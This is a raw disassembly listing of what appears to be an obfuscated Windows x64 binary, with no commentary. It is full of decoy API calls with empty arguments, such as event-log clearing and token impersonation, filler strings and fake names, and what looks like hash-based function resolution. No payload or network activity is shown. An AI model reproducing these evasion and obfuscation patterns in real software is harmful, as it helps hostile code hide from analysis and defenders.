mov rdi, qword [0x004cc0a0]
lea rcx, str.Enim_quidem_impedit_autem_sit_inventore_magnam
mov r11, qword [rsp + 0x50]
mov dword [rdx], eax
mov rax, qword [0x004cbda0]
xor edx, edx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbc50]
mov rdi, qword [0x004cc2c0]
mov eax, dword [rax]
mov dword [rdi], eax
call r11
mov rax, qword [0x004cbc50]
mov ecx, dword [rax]
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [0x004cc330]
mov edx, dword [rax]
mov rax, qword [0x004cc310]
mov dword [rax], edx
mov rax, qword [rsp + 0x30]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe90]
mov dword [rdx], eax
mov rax, qword [0x004cc1d0]
mov edx, dword [rax]
mov rax, qword [0x004cc050]
mov dword [rax], edx
mov rax, qword [0x004cc1f0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc0f0]
mov dword [rdi], eax
mov rax, qword [0x004cc210]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc1a0]
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdi], eax
call r15
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
call rdi
mov rax, qword [0x004cc410]
mov edx, dword [rax]
mov rax, qword [0x004cbba0]
mov dword [rax], edx
mov rax, qword [0x004cc4b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4b0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x004cc320]
xor ecx, ecx
mov dword [rax], 0x58444ddc
call r15
mov rax, qword [0x004cc0a0]
mov dword [rax], 0xacdc2c81
mov rax, qword [0x004cc060]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc30]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1b0]
xor edx, edx
mov dword [rax], 0x6afa33a7
call r12
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x439969b3
call fcn.00413350
mov rdx, qword [0x004cc1f0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cbcf0]
mov rdx, qword [0x004cbe40]
mov ecx, 0x5ea1176b
mov dword [rax], 0xa4a5457a
mov rax, qword [0x004cc4b0]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc1d0]
mov ecx, dword [r14]
mov dword [rdx], eax
mov rax, qword [0x004cc160]
mov dword [rax], 0x590d0578
mov rax, qword [0x004cc480]
mov dword [rax], 0xdae1e2c7
call fcn.00413350
mov rdx, qword [0x004cc080]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc060]
mov dword [rax], 0xca31bcc5
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov r9, qword [rsp + 0x58]
lea rdx, str.Necessitatibus_voluptatibus_impedit_et_aut_mollitia_suscipit
lea rcx, str.Asperiores_officiis_error_autem_fugiat_dignissimos_atque_vel
call r9
mov rax, qword [0x004cc370]
mov dword [r14], 0x6f10ed02
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2e0]
mov r15, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
call r14
mov rax, qword [0x004cc430]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd50]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.Voluptas_dignissimos_mollitia_debitis_assumenda_repellat
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rax, qword [0x004cc0d0]
mov rdx, qword [0x004cc1e0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc450]
mov edx, dword [rax]
mov rax, qword [0x004cc2b0]
mov dword [rax], edx
mov rax, qword [0x004cc360]
mov rdx, qword [0x004cc3d0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rdx, qword [0x004cc3f0]
mov rax, qword [0x004cc140]
mov ecx, dword [rdx]
mov dword [rax], ecx
mov ecx, 0xb19dac1d
call fcn.00413350
mov rcx, qword [0x004cbdd0]
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov rax, qword [0x004cbc50]
xor ecx, ecx
mov dword [rax], 0x9b1ae02
mov rax, qword [0x004cc160]
mov dword [rax], 0x26c10e10
mov rax, qword [0x004cc4b0]
mov dword [rax], 0x40f9dcfa
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call rsi
mov rax, qword [0x004cbd70]
mov rdx, qword [0x004cc1e0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rdx, qword [0x004cc3f0]
mov rax, qword [0x004cbbe0]
mov edx, dword [rdx]
mov dword [rax], edx
call r15
lea r8, str.Et_recusandae_ut_deserunt_nobis_qui_cupiditate_est_aspernatur_natus_qui
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc060]
mov r11, qword [rsp + 0x50]
xor edx, edx
lea rcx, str.Itaque_magnam_corporis_dolorem_eius_voluptatum
mov dword [rax], 0x42c54f6c
call r11
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cbdf0]
mov ecx, 0xfa6156b7
mov dword [rax], 0xb5cb33f8
call fcn.00413350
mov rdx, qword [0x004cbc40]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cc190]
mov rdx, qword [0x004cbdb0]
xor ecx, ecx
lea r8, str.Dolorem_praesentium_est_facere_qui_esse_quas_et_consectetur_voluptatem
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbe40]
xor edx, edx
mov dword [rax], 0x14918160
call rbp
lea r8, str.DuncanTerry
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004cbe30]
xor ecx, ecx
mov dword [rax], 0xd00da2ac
call rdi
mov rax, qword [0x004cc1f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd60]
mov dword [rax], edx
xor edx, edx
call rbx
mov ecx, 0x153073f5
call fcn.00413350
mov rcx, qword [0x004cc2e0]
mov dword [rcx], eax
mov rax, qword [0x004cbbf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
lea r8, str.ElizabethOConnerII
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc1d0]
xor ecx, ecx
mov dword [rax], 0x2d9a3575
call rdi
mov rax, qword [0x004cc070]
mov rsi, qword [0x004cc1a0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cc330]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2d0]
mov dword [rdx], eax
mov rax, qword [0x004cbc30]
mov dword [rax], 0x5d032661
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc330]
xor ecx, ecx
mov dword [rsi], eax
mov rsi, qword [0x004cc230]
mov rax, qword [0x004cc090]
mov edx, dword [rsi]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004cc340]
mov rdi, qword [0x004cc0b0]
mov rcx, qword [0x004cc2c0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [0x004cc460]
mov eax, dword [rdi]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc3d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe50]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbd40]
mov rdx, qword [0x004cc0f0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cbca0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc1e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4a0]
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rdx], eax
call rdi
mov eax, dword [rsi]
mov rsi, qword [0x004cc1a0]
xor ecx, ecx
mov dword [rsi], eax
call rdi
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call rbx
mov r10, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xe8]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov rax, qword [0x004cc250]
cmp dword [rax], 0x3e5f
jne 0x40f269
mov rax, qword [0x004cc300]
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc0c0]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004cc3e0]
mov ecx, 0x372f2b74
mov dword [rax], 0x5ae17f32
call fcn.00413350
mov r13, qword [0x004cc490]
mov rdx, qword [0x004cbeb0]
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.MrElijahRobelDDS
mov dword [rdx], eax
xor edx, edx
mov dword [r13], 0x5b0b0f48
call rbx
lea r8, str.ProfThaliaThiel
xor edx, edx
xor ecx, ecx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x28], r10
call r10
mov rbp, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.LowellBeckerII
call rbp
xor edx, edx
xor ecx, ecx
call r12
mov rsi, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc330]
mov r14, qword [0x004cbc00]
mov rdi, qword [0x004cc350]
mov rcx, qword [0x004cbe30]
mov dword [rax], 0x3edd1a10
mov eax, dword [r14]
mov dword [rdi], eax
mov rax, qword [0x004cbca0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cbee0]
mov ecx, 0x9794722
mov dword [rax], 0xb87d44fb
call fcn.00413350
mov rdx, qword [0x004cc320]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.Soluta_fugiat_velit_doloremque_culpa_voluptatem_magnam_reiciendis
call rbp
mov r15, qword [0x004cbd50]
mov rbp, qword [0x004cc460]
xor ecx, ecx
mov eax, dword [r15]
mov dword [rbp], eax
mov rax, qword [0x004cc390]
mov edx, dword [rax]
mov rax, qword [0x004cc2d0]
mov dword [rax], edx
xor edx, edx
call r12
mov r12, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call r12
mov ecx, 0x85cc4969
call fcn.00413350
mov rdx, qword [0x004cc4b0]
lea rcx, str.EmorySimonis
mov dword [rdx], eax
lea rdx, str.WilhelmMohr
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov r9, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.JacquelynTowne
lea rcx, str.JanisAbshire
mov qword [rsp + 0x30], r9
call r9
xor edx, edx
xor ecx, ecx
mov dword [r13], 0xb0b67a4e
call rbx
xor edx, edx
lea rcx, str.MrUbaldoBechtelar
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ecx, 0x3472ecbd
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call rbx
mov rax, qword [0x004cc210]
xor r8d, r8d
xor edx, edx
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
mov dword [rax], 0x4251df76
call rdi
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov r10, qword [rsp + 0x28]
xor ecx, ecx
call r10
mov eax, dword [r13]
mov rdx, qword [0x004cc3c0]
xor r8d, r8d
mov rcx, qword [0x004cbc70]
mov dword [rbp], 0x5c04bd17
mov dword [rdx], eax
mov rax, qword [0x004cbd40]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
mov r11, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.VergieStracke
mov qword [rsp + 0x28], r11
call r11
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cc410]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc220]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1c0]
mov rdx, qword [0x004cc1d0]
mov eax, dword [rax]
mov dword [rdx], eax
call rsi
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0xd46b9392
call fcn.00413350
mov rcx, qword [0x004cc2e0]
mov dword [rcx], eax
mov rax, qword [0x004cbd10]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc80]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov r9, qword [rsp + 0x30]
lea rdx, str.ErvinMacejkovic
lea rcx, str.MsCoreneMiller
call r9
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbbc0]
mov r11, qword [rsp + 0x28]
xor edx, edx
lea rcx, str.Aut_maiores_qui_error_nam_id_ut_qui_labore_qui_eaque_pariatur
mov dword [rax], 0x29939c71
call r11
mov rax, qword [0x004cc4a0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc1b0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
mov rax, qword [0x004cc2e0]
mov rdx, qword [0x004cc1d0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call r13
mov ecx, 0xe62b78cc
call fcn.00413350
mov rbx, qword [0x004cc330]
xor ecx, ecx
mov dword [rbx], eax
call r12
mov ecx, 0x19242c85
call fcn.00413350
mov rbx, qword [0x004cbc70]
mov rcx, qword [0x004cc3e0]
mov dword [rbx], eax
mov rbx, qword [0x004cbec0]
mov rax, qword [0x004cbc10]
mov edx, dword [rbx]
mov dword [rax], edx
mov rax, qword [0x004cbe60]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xe9f066d3
call fcn.00413350
mov rdx, qword [0x004cbe30]
mov dword [rdx], eax
mov rax, qword [0x004cc3d0]
mov ecx, dword [rax]
call fcn.00413350
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov dword [r15], eax
call r13
mov ecx, 0xa2c7b93
call fcn.00413350
mov rdx, qword [0x004cbbe0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor ecx, ecx
call r12
mov rax, qword [0x004cc130]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rax], 0xa6346aa4
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x004cc420]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbp], eax
call rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rax, qword [0x004cc190]
mov ecx, 0x443c4d2b
mov eax, dword [rax]
mov dword [rbx], eax
call fcn.00413350
mov rbx, qword [0x004cc210]
mov ecx, 0xdabc1db8
mov dword [rbx], eax
call fcn.00413350
mov rdx, qword [str._mf]
xor ecx, ecx
mov rbx, qword [0x004cc3c0]
mov dword [r14], 0x9c583893
mov dword [rdx], eax
mov rax, qword [0x004cc4d0]
mov eax, dword [rax]
mov dword [rbx], eax
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r13
mov rax, qword [0x004cbc30]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc240]
mov dword [rax], edx
call rsi
cmp qword [rsp + 0x38], 0
je 0x40e572
mov rax, qword [0x004cc250]
cmp dword [rax], 0x2876
jle 0x40fa98
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rbx, qword [0x004cbe90]
mov r12, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rbx], 0xe5afa960
call r12
mov rax, qword [0x004cc060]
mov rsi, qword [0x004cc120]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
call rsi
mov ecx, 0xb0d4c2cc
call fcn.00413350
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004cbc80]
mov rbx, qword [0x004cbc20]
mov eax, dword [rax]
mov dword [rbx], eax
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x70], r10
call r10
xor ecx, ecx
lea rdx, str.NikolasSchiller
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov rax, qword [0x004cc180]
mov rbx, qword [0x004cbc20]
lea rdx, str.EveretteRatke
mov r15, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Ducimus_voluptate_aliquid_voluptates
mov eax, dword [rax]
mov dword [rbx], eax
call r15
mov rax, qword [0x004cbe30]
xor edx, edx
xor ecx, ecx
lea r8, str.ColbyMuller
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rax], 0xbbd8f422
call rdi
mov rax, qword [0x004cc4d0]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cc460]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov qword [rsp + 0x28], rax
call rax
mov rax, qword [0x004cbe70]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbe10]
xor edx, edx
lea rcx, str.KevenSchmeler
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.DaxHoppe
lea rcx, str.TyrelBashirian
mov qword [rsp + 0x60], rax
call rax
xor edx, edx
lea rcx, str.Quaerat_nihil_possimus_voluptas_voluptate_tempora_exercitationem_dignissimos_laborum
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call rbp
mov rax, qword [0x004cc490]
mov r13, qword [0x004cc210]
mov rcx, qword [0x004cbc50]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, dword [r13]
call fcn.00413350
mov rdx, qword [0x004cbba0]
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.CruzGottlieb
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x004cbe60]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x386012a0
mov rax, qword [0x004cc360]
mov dword [rax], 0x7fbf9726
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc320]
mov rdx, qword [0x004cbc00]
mov ecx, 0xad9c8fb4
mov dword [rax], 0x237e070e
mov rax, qword [0x004cc230]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc0b0]
mov dword [rax], 0x261bff27
mov rax, qword [0x004cc460]
mov edx, dword [rax]
mov rax, qword [0x004cc350]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbbc0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cc430]
xor ecx, ecx
mov dword [rax], 0x9a28ab58
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x004cbd10]
mov rcx, qword [0x004cbc50]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cbc40]
lea rcx, str.Rerum_officia_temporibus_culpa_sapiente_ex_ut_quia_animi_molestiae_vel_sit_odit_et
mov edx, dword [rax]
mov rax, qword [0x004cc330]
mov dword [rax], edx
mov rax, qword [0x004cbe50]
xor edx, edx
mov dword [rax], 0x5cf4e612
call r14
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov ecx, 0x80908165
call fcn.00413350
mov rdx, qword [0x004cc220]
mov ecx, 0x2f4c5aad
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbcd0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
mov qword [rsp + 0x48], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov r9, qword [0x004cc4b0]
xor edx, edx
lea rcx, str.Odit_quae_ratione_quidem_occaecati_omnis_earum_perspiciatis
mov eax, dword [r9]
mov dword [r13], eax
call rbx
mov ecx, 0x7528c442
call fcn.00413350
mov r14, qword [0x004cbe40]
xor ecx, ecx
mov dword [r14], eax
call r12
mov rax, qword [0x004cc130]
xor ecx, ecx
mov dword [rax], 0x2c276b44
mov rax, qword [0x004cbe10]
mov dword [rax], 0x52fa2c39
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0x38524749
call fcn.00413350
mov rdx, qword [0x004cbca0]
mov r13, qword [0x004cc3e0]
xor ecx, ecx
mov dword [rdx], eax
mov dword [r13], 0x99cd34ac
call rbp
mov rax, qword [0x004cbcb0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r14], eax
call rbp
mov rax, qword [0x004cbd50]
mov rcx, qword [0x004cc2c0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor edx, edx
lea rcx, str.Aspernatur_sunt_voluptas_est_qui_voluptates_soluta_magni
call rbx
lea rdx, str.CrystalDouglas
lea rcx, str.Commodi_sit_consectetur_repellat_voluptatem_est_hic_incidunt_tempora_doloribus_qui_reiciendis_quos_perferendis
call r15
mov rax, qword [0x004cbed0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd40]
lea r8, str.Qui_a_tempora_a_consequatur
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004cbe70]
mov ecx, 0xf5c93ff5
mov dword [rax], 0x154ecbcf
mov rax, qword [0x004cbdc0]
mov dword [rax], 0xa2d0494c
call fcn.00413350
mov rdx, qword [0x004cbc20]
mov rcx, qword [0x004cc120]
mov dword [rdx], eax
mov rax, qword [0x004cbeb0]
xor edx, edx
mov dword [rax], 0xbac2c3f
mov eax, dword [r13]
mov dword [rcx], eax
mov rax, qword [0x004cc0b0]
lea rcx, str.YasmineHackettIII
mov dword [rax], 0x696d7fd
mov rax, qword [0x004cbe60]
mov dword [rax], 0x3bab042f
call rbx
mov r15, qword [0x004cc300]
mov rax, qword [0x004cbdf0]
xor ecx, ecx
lea r8, str.Repellat_reprehenderit_optio_ut_minus_fugit_voluptatum_itaque_et_nostrum_quis_pariatur_pariatur
mov edx, dword [r15]
mov dword [rax], edx
mov edx, dword [r13]
mov rax, qword [0x004cc190]
mov dword [rax], edx
xor edx, edx
call rdi
mov ecx, 0xda181ac
call fcn.00413350
mov r14, qword [0x004cbce0]
xor ecx, ecx
mov rdx, qword [0x004cc090]
mov dword [r15], 0x610b9d53
mov dword [rdx], eax
mov dword [r14], eax
call r12
lea r8, str.Assumenda_voluptas_unde
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cbd60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc240]
mov dword [rdx], eax
mov rax, qword [0x004cc150]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc070]
mov dword [rcx], eax
mov rax, qword [0x004cc150]
mov dword [rax], 0xc56f1226
mov rax, qword [0x004cbc90]
mov ecx, dword [rax]
call fcn.00413350
mov r9, qword [0x004cc4b0]
mov rdx, qword [0x004cbe50]
xor ecx, ecx
mov dword [r9], 0x3dfc0da4
mov dword [rdx], eax
call rsi
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r15
xor ecx, ecx
call r15
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov ecx, 0xa3b6fc88
call fcn.00413350
mov r11, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [0x004cc430]
xor edx, edx
mov qword [rsp + 0x68], r11
mov dword [rcx], eax
xor ecx, ecx
call r11
mov rax, qword [0x004cc3d0]
xor edx, edx
xor ecx, ecx
lea r8, str.Fuga_facere_voluptatem_cumque_nesciunt
mov dword [rax], 0x67281a12
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbc70]
mov rdx, qword [0x004cbd60]
lea rcx, str.MrMarleySporerV
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Cupiditate_consequatur_non_inventore_autem_sit
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r12
mov r12, qword [0x004cbd00]
mov rax, qword [0x004cc200]
xor ecx, ecx
mov r10, qword [rsp + 0x70]
mov dword [r12], 0x96845bfc
mov dword [rax], 0x32832956
call r10
mov ecx, 0xd5b32824
call fcn.00413350
mov rcx, qword [0x004cc4d0]
mov rdx, qword [0x004cbe30]
mov dword [rcx], eax
mov rax, qword [0x004cc0f0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbe20]
mov edx, dword [rax]
mov rax, qword [0x004cc3c0]
mov dword [rax], edx
mov rax, qword [0x004cc3b0]
mov dword [rax], 0xf61cc8f2
call rbp
mov ecx, dword [r14]
call fcn.00413350
mov rcx, qword [0x004cbc20]
mov rdx, qword [0x004cbe30]
mov dword [rcx], eax
mov rax, qword [0x004cbdd0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc420]
mov edx, dword [rax]
mov rax, qword [0x004cc2d0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc090]
mov rcx, qword [0x004cbd70]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0x9c538669
call fcn.00413350
mov rdx, qword [0x004cc200]
mov dword [rdx], eax
mov rax, qword [0x004cc2c0]
mov dword [rax], 0xcd6e2662
mov rax, qword [0x004cc2f0]
mov ecx, dword [rax]
call fcn.00413350
lea r8, str.BernardKihn
xor edx, edx
xor ecx, ecx
mov dword [r12], eax
mov rax, qword [0x004cbea0]
mov dword [r14], 0x8556274a
mov dword [rax], 0x853ca877
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rdi, qword [0x004cc0c0]
mov rax, qword [0x004cc390]
mov ecx, dword [rdi]
mov dword [rax], 0xc902b7e
call fcn.00413350
mov rdx, qword [0x004cbcf0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbe80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x14ecc61d
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
lea rcx, str.JonathanRussel
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov r11, qword [rsp + 0x68]
xor ecx, ecx
xor edx, edx
call r11
xor edx, edx
lea rcx, str.MrsPatienceRogahn
call rbx
mov rax, qword [0x004cc1c0]
xor ecx, ecx
mov dword [rax], 0x373101c9
call rbp
mov rax, qword [0x004cc070]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc140]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [0x004cc460]
mov rcx, qword [0x004cc0b0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
